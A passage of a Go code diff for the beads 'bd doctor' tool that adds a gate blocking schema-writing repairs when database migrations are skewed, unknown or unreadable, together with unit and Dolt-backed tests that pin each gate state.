about + // hazard — see DBPresent. + DBReachable bool + // DBPresent is true when a beads database exists for this repo: either the + // connection succeeded, or a connection was impossible but the on-disk + // database is still there (a stopped server, a wrong port). It is the hazard + // question — a database that exists has a schema that a migrating open can + // rewrite, whether or not this process could read it. Without a connection, + // "exists" is databaseExistsOnDisk's verdict, and a workspace with no + // metadata.json reads as absent there even with a data directory on disk — + // see that function for why. DBReachable implies DBPresent; the converse + // does not hold. + DBPresent bool + + // RecommendFix allows printed advice to steer at `bd doctor --fix`. + RecommendFix bool + // AllowDBFix allows repairs that may write schema or resume migrations. + AllowDBFix bool + // AllowFSFix allows filesystem-only repairs, which never touch the schema. + AllowFSFix bool + + DBVersion int // max applied schema_migrations version (0 if unknown) + BinaryVersion int // schema.LatestVersion() for this binary + Reason string + Ahead bool // DB schema newer than this binary + Pending bool // binary knows migrations the DB has not applied +} + +// AssessSchemaFixGate compares schema_migrations to this binary. It yields one +// memoised verdict per invocation, evaluated before any *gated* write and +// threaded through to every consumer: probing at print time cannot guard writes +// that already happened. The bd-jgxi auto-migrate that runs earlier in the +// command (cmd/bd/version_tracking.go) is deliberately outside this gate's +// jurisdiction — it is the sanctioned migration path, not a repair the gate +// withholds — so "before any gated write" is the contract, not "before +// anything that touches the schema". +func AssessSchemaFixGate(path string) FixGate { + binary := schema.LatestVersion() + + // No database at all: scoped allowance, not a fail-open — DB fixes stay + // disallowed because there is no DB to fix, and no schema exists to skew. + unreachable := FixGate{ + BinaryVersion: binary, + Determined: true, + RecommendFix: true, + AllowFSFix: true, + } + + beadsDir := ResolveBeadsDirForRepo(path) + db, _, err := openDoltDB(beadsDir) + if err != nil { + // A failed connection is not evidence that there is no database. When + // the database is still on disk — a stopped server, a moved port — the + // schema hazard is real and unmeasured: every gated repair opens the + // store through the migrating factory, which auto-starts the server and + // applies pending migrations before writing. Fail closed on that, and + // keep the genuine no-database case above as the only no-hazard shape. + // Recovery fixers stay available either way (AllowsFix keys them on + // DBReachable, which is false here too) because they are the cure for a + // database that cannot be opened. + if !databaseExistsOnDisk(beadsDir) { + return unreachable + } + return FixGate{ + BinaryVersion: binary, + DBPresent: true, + AllowFSFix: true, + Reason: "database exists but could not be opened, so its schema version is unknown; " + + "`bd doctor --fix` may apply migrations blind — start the database and re-run", + } + } + defer db.Close() + + // Reachable but unreadable: fail closed rather than claim safety. + undetermined := FixGate{ + BinaryVersion: binary, + DBReachable: true, + DBPresent: true, + AllowFSFix: true, + Reason: "database schema version could not be determined; " + + "`bd doctor --fix` may apply migrations blind — resolve the database state first", + } + + ctx := context.Background() + dbVer, err := schema.CurrentVersion(ctx, db) + if err != nil || dbVer == 0 { + return undetermined + } + + gate := FixGate{ + Determined: true, + DBReachable: true, + DBPresent: true, + DBVersion: dbVer, + BinaryVersion: binary, + AllowFSFix: true, + } + + switch { + case dbVer > binary: + gate.Ahead = true + gate.Reason = fmt.Sprintf( + "database schema is at v%d, this binary knows up to v%d (%s ahead). "+ + "`bd doctor --fix` can write/migrate and is unsafe on a newer schema — upgrade bd first", + dbVer, binary, pluralMigrations(dbVer-binary), + ) + case dbVer < binary: + gate.Pending = true + gate.Reason = fmt.Sprintf( + "database schema is at v%d, this binary expects v%d (%s pending). "+ + "`bd doctor --fix` may apply write migrations — upgrade/migrate deliberately, not as a cosmetic tip", + dbVer, binary, pluralMigrations(binary-dbVer), + ) + default: + gate.RecommendFix = true + gate.AllowDBFix = true + } + + return gate +} + +// databaseExistsOnDisk reports whether a beads database is present for this +// workspace, independent of whether anything can currently connect to it. It +// stats the path autoMigrateOnVersionBump stats (cmd/bd/version_tracking.go) +// and, like it, reads only ENOENT as absent: a path that cannot be stat'ed for +// any other reason is unknown, and unknown is not safe. An unloadable +// metadata.json reads as absent in both, which is safe: the store factory +// refuses to open such a workspace at all. +// +// It departs from that probe deliberately in two arms: +// +// - No metadata.json reads as absent, where auto-migrate falls back to +// DefaultConfig. The gate cannot connect without metadata.json (openDoltDB +// requires it), so a fail-closed verdict here could never be cleared by +// starting a server, and it would rewrite doctor's own advice for this +// state — regenerate metadata.json with `bd doctor --fix`, a +// filesystem-only repair — into "Do NOT run 'bd doctor --fix'". The cost is +// one unguarded state: server mode selected by the environment or +// config.yaml while metadata.json is missing, where a gated repair still +// reaches the server's schema unmeasured. +// - A proxied-server workspace reads as present when its data directory is +// on disk. Auto-migrate skips proxied workspaces because their migration +// runs later, at UOW-provider init, not because they lack a local database: +// the proxied root defaults to this same directory. `bd doctor` itself is +// refused up front in proxied-server mode (proxy.doctor.unsupported); this +// arm fails closed so that it is already safe when doctor gains a proxied +// route. +func databaseExistsOnDisk(beadsDir string) bool { + cfg, err := configfile.Load(beadsDir) + if err != nil || cfg == nil { + return false + } + if _, err := os.Stat(cfg.DatabasePath(beadsDir)); os.IsNotExist(err) { + return false + } + return true +} + +// BlocksDestructiveWrites reports whether an operation that can resume +// migrations must be refused outright. It is the hazard question rather than the +// connectivity one: a database that exists but whose schema state does not +// permit schema-writing repair blocks, whether or not this process reached it. +// A workspace with no database never blocks — there is nothing to skew. +func (g FixGate) BlocksDestructiveWrites() bool { + return g.DBPresent && !g.AllowDBFix +} + +func pluralMigrations(n int) string { + if n == 1 { + return "1 migration" + } + return fmt.Sprintf("%d migrations", n) +} + +// fixAdvicePattern matches a tip steering at `bd doctor --fix`, tolerating flag +// order and spacing. Best-effort: it is still a sniff over free-form prose. +var fixAdvicePattern = regexp.MustCompile(`(?i)\bdoctor\b[^\n]*--fix\b`) + +// originalTipMarker prefixes preserved advice in a rewritten tip, and doubles +// as the idempotence sentinel. +const originalTipMarker = "Original tip was: " + +// MentionsFixAdvice reports whether a tip steers at `bd doctor --fix`. +func MentionsFixAdvice(fix string) bool { + return fixAdvicePattern.MatchString(fix) +} + +// SanitizeFixRecommendation rewrites Fix text that steers into `bd doctor +// --fix` when the gate says that is unsafe (GH#4993). Apply once to the +// result, not per-renderer — see sanitizeFixAdvice in cmd/bd. +func SanitizeFixRecommendation(fix string, gate FixGate) string { + if gate.RecommendFix || fix == "" || !MentionsFixAdvice(fix) { + return fix + } + // The --fix path sanitizes again after re-running diagnostics. + if strings.Contains(fix, originalTipMarker) { + return fix + } + + switch { + case gate.Ahead: + return fmt.Sprintf("Do NOT run 'bd doctor --fix' until bd is upgraded (%s). %s%s", + gate.Reason, originalTipMarker, fix) + case gate.Pending: + return fmt.Sprintf( + "Avoid 'bd doctor --fix' for cosmetic repair while schema migrations are pending (%s). "+ + "Prefer targeted fixes or an intentional migrate. %s%s", + gate.Reason, originalTipMarker, fix) + case !gate.Determined: + return fmt.Sprintf("Do NOT run 'bd doctor --fix' (%s). %s%s", + gate.Reason, originalTipMarker, fix) + } + return fix +} + +// filesystemOnlyFixes are repairs that provably touch only files on disk. +// Unlisted names are treated as database-touching, so a fix added later is +// guarded by default rather than escaping the gate silently. +// +// Every name in applyFixList's dispatch switch (cmd/bd/doctor_fix.go) was +// audited against that rule. The ones deliberately left out open a store, so +// being withheld under a blocked gate is correct rather than an omission: +// "Database", "Database Integrity", "Fresh Clone", "Schema Compatibility", +// "Repo Fingerprint" (fix.RepoFingerprint and fix.FixMissingMetadata both write +// through the store), "Dolt Schema", "Pending Migrations", and the row-level +// data repairs. "Sync Divergence", "JSONL Config" and "Untracked Files" are +// retired no-ops that write nothing at all; they stay unlisted because they are +// not filesystem repairs, and withholding a no-op costs the user nothing. +var filesystemOnlyFixes = map[string]bool{ + "Gitignore": true, + "Project Gitignore": true, + "Metadata Config": true, + "Redirect Tracking": true, + "Last-Touched Tracking": true, + "Tracked Runtime Files": true, + "Git Hooks": true, + "Hooks Path": true, // git-config unset, beads-managed paths only + "Permissions": true, + "Lock Files": true, + "Legacy MQ Files": true, + "Classic Artifacts": true, + "Btrfs NoCOW (dolt)": true, + "Circuit Breaker": true, // removes stale circuit-breaker marker files + "Database Config": true, // rewrites metadata.json only; refuses Dolt outright +} + +// IsFilesystemOnlyFix reports whether the named fix touches only the +// filesystem. Unknown names report false — see filesystemOnlyFixes. +func IsFilesystemOnlyFix(checkName string) bool { + return filesystemOnlyFixes[strings.TrimSpace(checkName)] +} + +// recoveryFixes are the repairs a user reaches for when the database cannot be +// opened at all. Each rewrites on-disk database state or metadata and none can +// migrate a schema that already exists elsewhere; each is the *cure* for an +// unreachable database rather than a schema write: +// - Corrupt Manifest moves .dolt/ aside and runs a plain `dolt init`. +// - Dolt Format seeds a marker file. +// - Dolt Schema probes the server over a plain read connection to find the +// right database name and writes only metadata.json. +// - Database Integrity moves the local dolt directory aside and runs +// `bd init --force`, which does open a store, but only the fresh one it +// just created; server-mode repos, whose schema lives on a shared server, +// are refused up front by serverModeIntegrityRecoveryGuard. +// +// Fresh Clone and Database are deliberately absent: they open the existing +// store through the migrating factory. Unlisted names are treated as +// schema-writing, as in filesystemOnlyFixes. +var recoveryFixes = map[string]bool{ + "Corrupt Manifest": true, // backup + reinit of a corrupt .dolt/ + "Database Integrity": true, // backup + `bd init --force` + "Dolt Format": true, // seeds a marker file + "Dolt Schema": true, // backfills dolt_database in metadata.json +} + +// IsRecoveryFix reports whether the named fix repairs an unopenable database +// without a schema-writing open. See recoveryFixes. +func IsRecoveryFix(checkName string) bool { + return recoveryFixes[strings.TrimSpace(checkName)] +} + +// AllowsFix is the single admission policy for applying (or previewing as +// runnable) the named fix under this gate. Filesystem-only fixes follow +// AllowFSFix. Everything else needs AllowDBFix, with one narrow exception: +// recovery fixers stay available while the database is unreachable, because +// with no readable schema there is nothing to skew, and withholding them would +// block the very repairs that make a dead database reachable again. When the +// database is reachable but skewed or undetermined they stay withheld. +func (g FixGate) AllowsFix(checkName string) bool { + switch { + case IsFilesystemOnlyFix(checkName): + return g.AllowFSFix + case g.AllowDBFix: + return true + case !g.DBReachable && IsRecoveryFix(checkName): + return true + } + return false +} diff --git a/cmd/bd/doctor/fix_gate_assess_dolt_test.go b/cmd/bd/doctor/fix_gate_assess_dolt_test.go new file mode 100644 index 000000000..dc9651e16 --- /dev/null +++ b/cmd/bd/doctor/fix_gate_assess_dolt_test.go @@ -0,0 +1,213 @@ +//go:build cgo + +package doctor + +import ( + "context" + "crypto/rand" + "database/sql" + "encoding/hex" + "fmt" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/doltutil" + "github.com/steveyegge/beads/internal/testutil" + "github.com/steveyegge/beads/schema" +) + +// seedGateDatabase creates a throwaway database on the shared test server and +// runs setup against it. Returns the database name; dropped on cleanup. +func seedGateDatabase(t *testing.T, port int, setup func(t *testing.T, db *sql.DB)) string { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), time.Minute) + defer cancel() + + buf := make([]byte, 6) + if _, err := rand.Read(buf); err != nil { + t.Fatalf("rand: %v", err) + } + dbName := "gateassess_" + hex.EncodeToString(buf) + + dsn := doltutil.ServerDSN{Host: "127.0.0.1", Port: port, User: "root", Timeout: 10 * time.Second}.String() + admin, err := sql.Open("mysql", dsn) + if err != nil { + t.Fatalf("open admin connection: %v", err) + } + t.Cleanup(func() { + dropCtx, dropCancel := context.WithTimeout(context.Background(), 30*time.Second) + defer dropCancel() + _, _ = admin.ExecContext(dropCtx, fmt.Sprintf("DROP DATABASE IF EXISTS `%s`", dbName)) + _ = admin.Close() + }) + // Single connection: USE and the statements that follow must share a session. + admin.SetMaxOpenConns(1) + if _, err := admin.ExecContext(ctx, fmt.Sprintf("CREATE DATABASE `%s`", dbName)); err != nil { + t.Fatalf("create database: %v", err) + } + if _, err := admin.ExecContext(ctx, fmt.Sprintf("USE `%s`", dbName)); err != nil { + t.Fatalf("use database: %v", err) + } + setup(t, admin) + return dbName +} + +// seedMigrations returns a setup func that creates schema_migrations and +// records the given versions as applied. +func seedMigrations(versions ...int) func(t *testing.T, db *sql.DB) { + return func(t *testing.T, db *sql.DB) { + t.Helper() + if _, err := db.ExecContext(t.Context(), + "CREATE TABLE schema_migrations (version INT NOT NULL PRIMARY KEY)"); err != nil { + t.Fatalf("create schema_migrations: %v", err) + } + for _, v := range versions { + if _, err := db.ExecContext(t.Context(), "INSERT INTO schema_migrations (version) VALUES (?)", v); err != nil { + t.Fatalf("insert version %d: %v", v, err) + } + } + } +} + +// TestAssessSchemaFixGate_RealDolt exercises the function that decides ahead / +// pending / equal / undetermined against a real Dolt server with a seeded +// schema_migrations. Every other gate test builds a FixGate literal by hand, so +// without this the assessor itself — the headline guard of GH#4993 — is never +// run: `case dbVer > binary:` could be replaced by `case false:` and the suite +// stayed green. +func TestAssessSchemaFixGate_RealDolt(t *testing.T) { + if testutil.DoltContainerCrashed() { + t.Skipf("Dolt test server crashed: %v", testutil.DoltContainerCrashError()) + } + port := doctorTestServerPort() + if port == 0 { + t.Skip("Dolt test server not available, skipping") + } + binary := schema.LatestVersion() + if binary < 2 { + t.Fatalf("test needs at least 2 known migrations, binary knows %d", binary) + } + + // The reachable-but-not-readable states share one expectation: fail closed. + failClosed := func(t *testing.T, g FixGate) { + t.Helper() + if !g.DBReachable { + t.Error("DBReachable = false, want true (the server answered)") + } + if g.Determined || g.AllowDBFix || g.RecommendFix { + t.Errorf("Determined=%v AllowDBFix=%v RecommendFix=%v, want all false: unknown is not safe", + g.Determined, g.AllowDBFix, g.RecommendFix) + } + if g.Ahead || g.Pending { + t.Errorf("Ahead=%v Pending=%v, want neither when the version is unknown", g.Ahead, g.Pending) + } + if !strings.Contains(g.Reason, "could not be determined") { + t.Errorf("Reason = %q, want it to say the version could not be determined", g.Reason) + } + } + + cases := []struct { + name string + setup func(t *testing.T, db *sql.DB) + verify func(t *testing.T, g FixGate) + }{ + { + name: "ahead", + setup: seedMigrations(binary + 3), + verify: func(t *testing.T, g FixGate) { + if !g.Ahead || g.Pending { + t.Errorf("Ahead=%v Pending=%v, want Ahead only", g.Ahead, g.Pending) + } + if g.AllowDBFix || g.RecommendFix { + t.Errorf("AllowDBFix=%v RecommendFix=%v, want both false on a newer schema", g.AllowDBFix, g.RecommendFix) + } + if g.DBVersion != binary+3 || g.BinaryVersion != binary { + t.Errorf("DBVersion=%d BinaryVersion=%d, want %d/%d", g.DBVersion, g.BinaryVersion, binary+3, binary) + } + if !strings.Contains(g.Reason, "3 migrations ahead") { + t.Errorf("Reason = %q, want it to name 3 migrations ahead", g.Reason) + } + }, + }, + { + name: "behind (pending)", + setup: seedMigrations(binary - 1), + verify: func(t *testing.T, g FixGate) { + if !g.Pending || g.Ahead { + t.Errorf("Ahead=%v Pending=%v, want Pending only", g.Ahead, g.Pending) + } + if g.AllowDBFix || g.RecommendFix { + t.Errorf("AllowDBFix=%v RecommendFix=%v, want both false while migrations are pending", g.AllowDBFix, g.RecommendFix) + } + if g.DBVersion != binary-1 { + t.Errorf("DBVersion = %d, want %d", g.DBVersion, binary-1) + } + if !strings.Contains(g.Reason, "1 migration pending") { + t.Errorf("Reason = %q, want it to name 1 migration pending", g.Reason) + } + }, + }, + { + name: "equal", + setup: seedMigrations(binary-1, binary), + verify: func(t *testing.T, g FixGate) { + if g.Ahead || g.Pending { + t.Errorf("Ahead=%v Pending=%v, want neither at parity", g.Ahead, g.Pending) + } + if !g.AllowDBFix || !g.RecommendFix || !g.Determined { + t.Errorf("AllowDBFix=%v RecommendFix=%v Determined=%v, want all true at parity", + g.AllowDBFix, g.RecommendFix, g.Determined) + } + if g.Reason != "" { + t.Errorf("Reason = %q, want empty at parity", g.Reason) + } + if g.DBVersion != binary { + t.Errorf("DBVersion = %d, want %d", g.DBVersion, binary) + } + }, + }, + { + // Pins current behavior, not an endorsement: a version of 0 (empty + // table) is treated as "could not be determined" and so fails + // closed. Revisit together with the table-absent case below. + name: "empty schema_migrations", + setup: seedMigrations(), + verify: failClosed, + }, + { + name: "no schema_migrations table", + setup: func(*testing.T, *sql.DB) {}, + verify: failClosed, + }, + { + name: "schema_migrations unreadable", + setup: func(t *testing.T, db *sql.DB) { + if _, err := db.ExecContext(t.Context(), "CREATE TABLE schema_migrations (unrelated INT)"); err != nil { + t.Fatalf("create malformed schema_migrations: %v", err) + } + }, + verify: failClosed, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + dbName := seedGateDatabase(t, port, tc.setup) + setGatePort(t, port) + gate := AssessSchemaFixGate(writeGateWorkspace(t, dbName)) + + // Invariants for every reachable assessment. + if !gate.DBReachable { + t.Fatalf("DBReachable = false; the seeded database should be reachable: %+v", gate) + } + if !gate.AllowFSFix { + t.Error("AllowFSFix = false; filesystem repair must not depend on schema state") + } + if gate.BinaryVersion != binary { + t.Errorf("BinaryVersion = %d, want %d", gate.BinaryVersion, binary) + } + tc.verify(t, gate) + }) + } +} diff --git a/cmd/bd/doctor/fix_gate_assess_test.go b/cmd/bd/doctor/fix_gate_assess_test.go new file mode 100644 index 000000000..8073b6204 --- /dev/null +++ b/cmd/bd/doctor/fix_gate_assess_test.go @@ -0,0 +1,280 @@ +package doctor + +import ( + "net" + "os" + "path/filepath" + "runtime" + "strconv" + "testing" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/schema" +) + +// writeGateWorkspace writes a Dolt-backend .beads/metadata.json naming dbName +// and returns the repo path handed to AssessSchemaFixGate. +func writeGateWorkspace(t *testing.T, dbName string) string { + t.Helper() + return writeGateConfig(t, &configfile.Config{Backend: configfile.BackendDolt, DoltDatabase: dbName}) +} + +// writeGateConfig writes cfg as .beads/metadata.json in a fresh repo and +// returns the repo path. +func writeGateConfig(t *testing.T, cfg *configfile.Config) string { + t.Helper() + repo := t.TempDir() + beadsDir := filepath.Join(repo, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + if err := cfg.Save(beadsDir); err != nil { + t.Fatalf("save metadata.json: %v", err) + } + return repo +} + +// mkdirGateDoltDir creates /.beads/dolt, where DatabasePath resolves for +// a config with no dolt_data_dir. +func mkdirGateDoltDir(t *testing.T, repo string) { + t.Helper() + if err := os.MkdirAll(filepath.Join(repo, ".beads", "dolt"), 0o750); err != nil { + t.Fatal(err) + } +} + +// closedPort returns a loopback port with nothing listening on it. +func closedPort(t *testing.T) int { + t.Helper() + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + port := l.Addr().(*net.TCPAddr).Port + if err := l.Close(); err != nil { + t.Fatal(err) + } + return port +} + +// setGatePort routes doltserver port resolution to port for this test. +func setGatePort(t *testing.T, port int) { + t.Helper() + // BEADS_DOLT_SERVER_PORT is the highest-priority source in + // doltserver.DefaultConfig, which openDoltDB resolves the port through. + t.Setenv("BEADS_DOLT_SERVER_PORT", strconv.Itoa(port)) +} + +// TestAssessSchemaFixGate_Unreachable pins the no-database shape: no schema +// hazard exists to guard against, so filesystem repair and printed advice are +// unaffected, but schema-writing fixes stay disallowed because there is no +// database to fix. Both cases reach it with nothing on disk to migrate — a +// missing config, and a config whose database directory was never created. +// +// "Configured, on disk, and unreachable" is deliberately NOT this shape: see +// TestAssessSchemaFixGate_PresentButUnopenableFailsClosed, which pins the +// fail-closed complement. +func TestAssessSchemaFixGate_Unreachable(t *testing.T) { + cases := map[string]func(t *testing.T) string{ + "no metadata.json": func(t *testing.T) string { + repo := t.TempDir() + if err := os.MkdirAll(filepath.Join(repo, ".beads"), 0o750); err != nil { + t.Fatal(err) + } + setGatePort(t, closedPort(t)) + return repo + }, + "configured but no database on disk": func(t *testing.T) string { + setGatePort(t, closedPort(t)) + return writeGateWorkspace(t, "gate_unreachable") + }, + } + for name, setup := range cases { + t.Run(name, func(t *testing.T) { + gate := AssessSchemaFixGate(setup(t)) + + if gate.DBReachable { + t.Error("DBReachable = true, want false") + } + if gate.AllowDBFix { + t.Error("AllowDBFix = true on an unreachable database; schema-writing fixes must stay withheld") + } + if !gate.AllowFSFix { + t.Error("AllowFSFix = false; filesystem repair must not depend on the database") + } + if !gate.RecommendFix || !gate.Determined { + t.Errorf("RecommendFix=%v Determined=%v, want both true (no hazard to warn about)", + gate.RecommendFix, gate.Determined) + } + if gate.Ahead || gate.Pending { + t.Errorf("Ahead=%v Pending=%v, want neither without a database", gate.Ahead, gate.Pending) + } + if gate.BinaryVersion != schema.LatestVersion() { + t.Errorf("BinaryVersion = %d, want %d", gate.BinaryVersion, schema.LatestVersion()) + } + if gate.DBPresent { + t.Error("DBPresent = true with no database on disk; nothing exists to guard") + } + if gate.BlocksDestructiveWrites() { + t.Error("BlocksDestructiveWrites() = true with no database; there is no schema to skew") + } + }) + } +} + +// TestAssessSchemaFixGate_PresentButUnopenableFailsClosed is the regression test +// for the fail-open reported on PR #5145: a server-mode repo whose database is +// still on disk but whose server is stopped assessed identically to a repo with +// no database at all. That shape left DBReachable false, which the destructive +// `--check` refusal keyed on, so `bd doctor --check=pollution --clean` skipped +// the refusal, auto-started the server through the migrating factory, applied +// pending migrations blind and then deleted rows — while the identical command +// against the identical schema was refused whenever the server happened to be up. +// +// A database that exists has a schema a migrating open can rewrite, whether or +// not this process could read it, so the verdict must fail closed. The other +// cases pin the arms where databaseExistsOnDisk departs from, or had drifted +// from, autoMigrateOnVersionBump's probe: a proxied-server workspace, whose +// data directory is local even though auto-migrate skips it, and a data +// directory whose stat fails with something other than ENOENT. +func TestAssessSchemaFixGate_PresentButUnopenableFailsClosed(t *testing.T) { + cases := map[string]func(t *testing.T) string{ + "stopped server": func(t *testing.T) string { + repo := writeGateWorkspace(t, "gate_present_unopenable") + // The database directory is what makes this distinct from the + // unreachable case. + mkdirGateDoltDir(t, repo) + return repo + }, + "proxied-server workspace": func(t *testing.T) string { + repo := writeGateConfig(t, &configfile.Config{ + Backend: configfile.BackendDolt, + DoltMode: configfile.DoltModeProxiedServer, + DoltDatabase: "gate_proxied", + }) + // The proxied root defaults to the same directory. + mkdirGateDoltDir(t, repo) + return repo + }, + "data directory cannot be stat'ed": func(t *testing.T) string { + if runtime.GOOS == "windows" { + t.Skip("POSIX-only: Windows can report a file used as a directory as path-not-found, which os.IsNotExist matches") + } + // A data directory configured beneath a regular file fails its + // stat with ENOTDIR: unknown, not absent. Relative, because Save + // drops an absolute dolt_data_dir as machine-local. + repo := writeGateConfig(t, &configfile.Config{ + Backend: configfile.BackendDolt, + DoltDatabase: "gate_unstatable", + DoltDataDir: filepath.Join("not-a-directory", "dolt"), + }) + if err := os.WriteFile(filepath.Join(repo, ".beads", "not-a-directory"), nil, 0o600); err != nil { + t.Fatal(err) + } + return repo + }, + } + for name, setup := range cases { + t.Run(name, func(t *testing.T) { + setGatePort(t, closedPort(t)) + t.Setenv("BEADS_DOLT_DATA_DIR", "") // would override DatabasePath + gate := AssessSchemaFixGate(setup(t)) + assertPresentButUnopenable(t, gate) + }) + } +} + +// TestAssessSchemaFixGate_MissingMetadataReadsAbsent pins databaseExistsOnDisk's +// deliberate departure from autoMigrateOnVersionBump, which falls back to +// DefaultConfig: with no metadata.json, a data directory on disk still assesses +// as the no-database shape. The gate cannot connect without metadata.json, so +// failing closed could never be cleared, and it would turn doctor's advice for +// this state — the filesystem-only `bd doctor --fix` that regenerates +// metadata.json — into "Do NOT run 'bd doctor --fix'". +func TestAssessSchemaFixGate_MissingMetadataReadsAbsent(t *testing.T) { + setGatePort(t, closedPort(t)) + repo := t.TempDir() + mkdirGateDoltDir(t, repo) + + gate := AssessSchemaFixGate(repo) + + if gate.DBPresent || gate.BlocksDestructiveWrites() { + t.Errorf("DBPresent=%v BlocksDestructiveWrites()=%v, want both false without metadata.json", + gate.DBPresent, gate.BlocksDestructiveWrites()) + } + if !gate.RecommendFix || !gate.Determined { + t.Errorf("RecommendFix=%v Determined=%v, want both true: the advice for this state is `bd doctor --fix`", + gate.RecommendFix, gate.Determined) + } + if !gate.AllowsFix("Metadata Config") { + t.Error(`AllowsFix("Metadata Config") = false; regenerating metadata.json is the repair for this state`) + } +} + +// assertPresentButUnopenable checks the fail-closed shape for a database that +// may exist but whose schema version was never read. +func assertPresentButUnopenable(t *testing.T, gate FixGate) { + t.Helper() + if !gate.DBPresent { + t.Fatal("DBPresent = false; a database that may be on disk must be guarded") + } + if gate.DBReachable { + t.Error("DBReachable = true although nothing is listening; the connection did not happen") + } + if !gate.BlocksDestructiveWrites() { + t.Error("BlocksDestructiveWrites() = false; a destructive --check must be refused here") + } + if gate.AllowDBFix { + t.Error("AllowDBFix = true for a database whose schema version was never read") + } + if gate.Determined { + t.Error("Determined = true although the schema version could not be read") + } + if gate.RecommendFix { + t.Error("RecommendFix = true; printed advice must not steer at --fix for an unread schema") + } + if gate.Reason == "" { + t.Error("Reason is empty; the refusal and the sanitized advice both interpolate it") + } + if !gate.AllowFSFix { + t.Error("AllowFSFix = false; filesystem repair does not depend on the schema") + } + // Recovery fixers are the cure for a database that cannot be opened, so they + // must survive this shape exactly as they survive the no-database one. + for _, name := range []string{"Corrupt Manifest", "Database Integrity"} { + if !gate.AllowsFix(name) { + t.Errorf("AllowsFix(%q) = false; the recovery fixers for an unopenable database must stay available", name) + } + } + // ...but a repair that opens the store through the migrating factory is + // exactly the hazard, and stays withheld. + for _, name := range []string{"Fresh Clone", "Schema Compatibility"} { + if gate.AllowsFix(name) { + t.Errorf("AllowsFix(%q) = true; a migrating open is the hazard this gate exists for", name) + } + } +} + +// TestFixGateBlocksDestructiveWrites pins the hazard predicate across every +// shape, so the destructive `--check` refusal cannot drift back onto a +// connectivity test. Only "no database at all" and "schema verified current" +// may admit a destructive write. +func TestFixGateBlocksDestructiveWrites(t *testing.T) { + cases := []struct { + name string + gate FixGate + want bool + }{ + {"no database", FixGate{Determined: true, RecommendFix: true, AllowFSFix: true}, false}, + {"schema current", FixGate{Determined: true, DBReachable: true, DBPresent: true, AllowDBFix: true, AllowFSFix: true}, false}, + {"present but unopenable", FixGate{DBPresent: true, AllowFSFix: true}, true}, + {"reachable but unreadable", FixGate{DBReachable: true, DBPresent: true, AllowFSFix: true}, true}, + {"pending", FixGate{Determined: true, DBReachable: true, DBPresent: true, Pending: true, AllowFSFix: true}, true}, + {"ahead", FixGate{Determined: true, DBReachable: true, DBPresent: true, Ahead: true, AllowFSFix: true}, true}, + } + for _, c := range cases { + if got := c.gate.BlocksDestructiveWrites(); got != c.want { + t.Errorf("%s: BlocksDestructiveWrites() = %v, want %v", c.name, got, c.want) + } + } +} diff --git a/cmd/bd/doctor/fix_gate_test.go b/cmd/bd/doctor/fix_gate_test.go new file mode 100644 index 000000000..40ffab72d --- /dev/null +++ b/cmd/bd/doctor/fix_gate_test.go @@ -0,0 +1,199 @@ +package doctor + +import ( + "strings" + "testing" +) + +func safeGate() FixGate { + return FixGate{ + Determined: true, + DBReachable: true, + RecommendFix: true, + AllowDBFix: true, + AllowFSFix: true, + } +} + +func TestSanitizeFixRecommendation_SafePassesThrough(t *testing.T) { + in := "Run 'bd doctor --fix' to untrack runtime files" + if got := SanitizeFixRecommendation(in, safeGate()); got != in { + t.Fatalf("safe gate should pass through, got %q", got) + } +} + +func TestSanitizeFixRecommendation_AheadBlocksTip(t *testing.T) { + gate := FixGate{ + Determined: true, + DBReachable: true, + Ahead: true, + AllowFSFix: true, + DBVersion: 52, + BinaryVersion: 49, + Reason: "database schema is at v52, this binary knows up to v49 (3 migrations ahead)", + } + in := "Run 'bd doctor --fix' to untrack, or manually: git rm --cached .beads/redirect" + got := SanitizeFixRecommendation(in, gate) + if got == in { + t.Fatal("expected rewrite when schema is ahead") + } + for _, part := range []string{"Do NOT run", "doctor --fix", "Original tip"} { + if !strings.Contains(got, part) { + t.Fatalf("rewrite missing %q: %q", part, got) + } + } +} + +func TestSanitizeFixRecommendation_PendingWarns(t *testing.T) { + gate := FixGate{ + Determined: true, + DBReachable: true, + Pending: true, + AllowFSFix: true, + DBVersion: 48, + BinaryVersion: 52, + Reason: "pending migrations", + } + in := "Run: bd doctor --fix" + got := SanitizeFixRecommendation(in, gate) + if got == in { + t.Fatal("expected rewrite when migrations pending") + } + for _, part := range []string{"Avoid", "pending", "Original tip"} { + if !strings.Contains(got, part) { + t.Fatalf("rewrite missing %q: %q", part, got) + } + } +} + +func TestSanitizeFixRecommendation_NoDoctorFixUnchanged(t *testing.T) { + gate := FixGate{Determined: true, DBReachable: true, Ahead: true, Reason: "skew"} + in := "Run 'bd bootstrap' as recovery" + if got := SanitizeFixRecommendation(in, gate); got != in { + t.Fatalf("non --fix tip should pass through, got %q", got) + } +} + +// TestSanitizeFixRecommendation_UndeterminedFailsClosed pins the property that +// "we could not determine the schema version" is not the same as "safe". +func TestSanitizeFixRecommendation_UndeterminedFailsClosed(t *testing.T) { + gate := FixGate{ + DBReachable: true, + Determined: false, + AllowFSFix: true, + Reason: "database schema version could not be determined", + } + in := "Run 'bd doctor --fix' to repair" + got := SanitizeFixRecommendation(in, gate) + if got == in { + t.Fatal("an undetermined schema version must not pass --fix advice through unchanged") + } + if !strings.Contains(got, "Do NOT run") { + t.Fatalf("undetermined gate should refuse, got %q", got) + } +} + +// TestMentionsFixAdvice_ToleratesFlagOrderAndSpacing covers the wordings the +// previous strings.Contains("doctor --fix") sniff silently missed. +func TestMentionsFixAdvice_ToleratesFlagOrderAndSpacing(t *testing.T) { + shouldMatch := []string{ + "Run 'bd doctor --fix'", + "bd doctor --fix", + "bd doctor --yes --fix", + "try `bd doctor --fix --verbose` next", + "Run BD DOCTOR --FIX", + } + for _, s := range shouldMatch { + if !MentionsFixAdvice(s) { + t.Errorf("expected %q to be recognised as --fix advice", s) + } + } + + shouldNotMatch := []string{ + "Run 'bd bootstrap'", + "see the doctor documentation", + "pass --fixture to the test runner", + } + for _, s := range shouldNotMatch { + if MentionsFixAdvice(s) { + t.Errorf("did not expect %q to be treated as --fix advice", s) + } + } +} + +// TestIsFilesystemOnlyFix_DefaultsToGuarded pins the fail-closed default: a fix +// nobody has classified is treated as database-touching, so a check added later +// is guarded rather 